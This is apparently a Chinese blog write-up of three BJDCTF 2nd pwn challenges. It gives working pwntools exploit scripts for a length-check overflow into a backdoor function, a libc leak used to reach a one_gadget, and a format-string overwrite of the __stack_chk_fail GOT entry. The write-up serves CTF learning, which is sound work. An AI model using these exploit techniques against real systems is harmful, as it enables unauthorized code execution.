BJDCTF 2nd - Pwn(r2t3、one_gadget、r2t4)

r2t3

最簡單的一道題,可是我竟然沒有做出來,無語了,,,

文件保護沒啥好說的,,,很正常

進入name_check函數

255 ==> 255

256 ==> 0,257 ==> 1,258 ==> 2,259 ==> 3,

260 ==> 4,261 ==> 5,262 ==> 6,263 ==> 7,264 ==> 8

 

我覺得應該是260-264,,,但是試了一下,發現最後的長度介於256-262都可以,,,我也不知道爲什麼差了這麼幾個,,,

 

存在後門函數,,,

 

所以,我們只需要,將輸入的串覆蓋返回地址,0x11+0x4,然後將字符串長度填充成需要的長度,即可

exp:

#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27400)

p.recvuntil("name:")
payload=(0x11+0x4)*'a'+p32(0x0804858B)
payload=payload.ljust(262,'a')
p.sendline(payload)

p.interactive()

 

one_gadget

其實題目還是比較簡單的,但是我不熟,對於這種通過libc計算地址的,,,

保護竟然全開,,,看到這個有點嚇人,,,不過因爲題目有漏洞,所以影響不大啦,,,

可以看到要我們輸入v4,而v4是一個函數指針,並且在下面有調用,,,所以我們可以在v4裏面輸入gadget,,,%ld需要我們將地址轉換成十進制的數

因爲我們收到的地址是一個字符串,eval()函數是計算括號裏面字符串的值,可以將十六進制的數轉換成十進制

init裏面直接給我們printf的地址,所以我們可以泄漏libc的地址,,,

先輸出一下看看,發現總共14位,

 

開始做題啦,,,

先到BUUCTF上面把對應版本的libc-2.29.so下載過來

然後找一個gadget

 

講一下關於gadget

這裏找gadget,要看此時的程序是否滿足one_gadget下面的constraints

第一個gadget需要滿足的條件是rcx==null、[rbp-0x70]==null 或者 [rcx]==null、[rbp-0x70]==null

調試讓程序走到這裏

方法:(gdb one_gadget,然後b printf,接下來一直n下一步就行【執行到<__isoc99_scanf@plt>,按兩次n就行】)

 

解釋一下爲什麼是這裏

因爲我們可以看到先調用了__isoc99_scanf函數,記下來並且返回值存放在[rbp-0x18]剛好是v4的地址,因爲存儲器直接是不能直接傳值的,所以用了rax寄存器做中轉,[rbp-0x18]的值先傳給rax,然後rax的值再傳給[rbp-0x10](也就是v5),現在v4和v5的值一樣,接下來v5的值給了rdx,接下來調用rdx也就是調用了v4(沒有直接調用v4,猜測的可能性,因爲v4是還要作爲參數)

 

 

可以看到rcx==null,那麼[rcx]==null,滿足第一個條件,但是不滿足第二個條件,[rbp-0x70]=0x7ffff7fad760 不爲null,所以第一個gadget不可以,相應的,我們可以查看其它gadget

第二個和第三個也都不滿足條件

最後看下最後一個,nice,滿足條件,[rsp+0x70]==null,所以,我們選擇最後一個gadget

 

然後就可以寫exp啦

#coding=utf-8
from pwn import*
context.log_level = 'debug'
p = remote('node3.buuoj.cn',26916)
libc = ELF('./libc-2.29.so')

p.recvuntil('for u:')
printf_addr = p.recv(14)
printf_addr = eval(printf_addr)#轉成十進制
log.success('printf_addr==>'+str(printf_addr))#打印到控制檯上

base = printf_addr - libc.symbols["printf"]
one_gadget = base + 0x106ef8
log.success("gadget==>"+str(one_gadget))
p.sendlineafter('gadget:',str(one_gadget))
p.interactive()

 

 

 

r2t4

這道題,,,看writeup看了很久沒看懂,,,淚崩,,,雖然知道格式化字符串的用法,但是不全吧,,,

 

我們讀入的字符長度不是很長,還有格式化字符串漏洞,所以想到格式化字符串可以利用的一點,就是寫地址,將一處地址修改爲backdoor,這處地址在執行完後必須執行,,,

 

這裏有個函數,___stack_chk_fail,就是canary保護的一個,如果棧上的canary和一開始存的不一樣,就會執行這個函數,然後程序結束,,,所以我們可以修改這個函數的地址,然後read的時候覆蓋掉canary爲任意值,就可以了,,,

 

 

__stack_chk_fail=elf.got['__stack_chk_fail']

pay = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)

題目中給出的writeup,我來解釋一下,,,

後門函數的地址是0x400626

所以覆蓋__stack_chk_fail ==> 0x0626(64+1510=1574)

             __stack_chk_fail+2==> 0x40(64)

修改的是__stack_chk_fail的got表,,,

沒了,,,,

學長給出了一個更簡單的exp,,,

from pwn import *
context.log_level = 'debug'
context(arch='amd64',os='linux',word_size='64')
p = process('./r2t4')
#p = remote("node3.buuoj.cn",27166)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']
pay = "%1574c%8$hnaaaaa"+ p64(__stack_chk_fail)+'a'*20
       #1576 ==> 0x626  前面字符串兩個字節,所以6+2=8  20個a是爲了讓棧溢出                         
p.sendline(pay)
p.interactive()

0x40不需要了是因爲,雖然__stack_chk_fail的地址是0x601018,但是實際的地址我們可以gdb看一下(延遲綁定,只有前三位地址會變,後三位地址不變)

所以原來的高4位已經是0x40了,,,啦啦啦,,,

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章